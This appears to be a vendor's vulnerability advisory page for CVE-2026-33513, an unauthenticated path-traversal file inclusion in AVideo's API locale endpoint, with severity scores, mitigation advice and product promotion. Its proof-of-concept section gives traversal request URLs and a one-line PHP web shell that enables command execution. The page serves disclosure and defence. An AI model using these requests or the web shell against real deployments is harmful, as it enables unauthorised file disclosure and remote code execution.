CVE-2026-33513 — wwbn/avideo
HIGHCVE-2026-33513 is a high-severity (CVSS 8.6) Path Traversal vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has an Unauthenticated Local File Inclusion in API locale (RCE possible with writable PHP)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33513.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33513 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,567 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unauthenticated API endpoint (APIName=locale) concatenates user input into an include path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., view/about.php), and it can escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree.
Details
- Entry point:
plugin/API/get.json.phpsets$global['bypassSameDomainCheck']=1and merges GET/POST/JSON into$parameterswithout authentication or API secret. - Handler:
plugin/API/API.php, methodget_api_locale()(lines ~5009–5023):
No validation is performed;$parameters['language'] = strtolower($parameters['language']); $file = "{$global['systemRootPath']}locale/{$parameters['language']}.php"; if (!file_exists($file)) { return new ApiObject("This language does not exists"); } include $file;../traversal is accepted. - Because
includeexecutes PHP, any reachable PHP file is executed in the web server context.
PoC
- Fetch an arbitrary PHP file (no auth):
Response returns the rendered About page HTML, proving traversal outsideGET /plugin/API/get.json.php?APIName=locale&language=../view/about HTTP/1.1 Host: <target>locale/. - RCE with an attacker PHP file (any writable PHP path):
IfGET /plugin/API/get.json.php?APIName=locale&language=../videos/locale/shell&x=whoamishell.phpcontains<?php system($_GET['x']); ?>, the response includes command output.
Impact
- Unauthenticated file inclusion of arbitrary PHP files under the web root.
- Confidential data leakage (e.g., configuration, secrets) via included PHP that renders output.
- Potential RCE if any attacker-writable PHP file exists elsewhere (not confirmed in this build).
- Affects any deployment with the API plugin enabled (default in docker-compose).
Mitigation
- Reject path separators/dots and enforce a strict allowlist of locale slugs.
realpaththe target and ensure it stays within$systemRootPath/locale.- Stop using
includefor translations; load data from vetted formats (JSON/array). - Add authentication (API secret/token) to the endpoint as a secondary control.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33513 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33513 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33513. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33513 in your dependencies?
O3 Security finds CVE-2026-33513 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.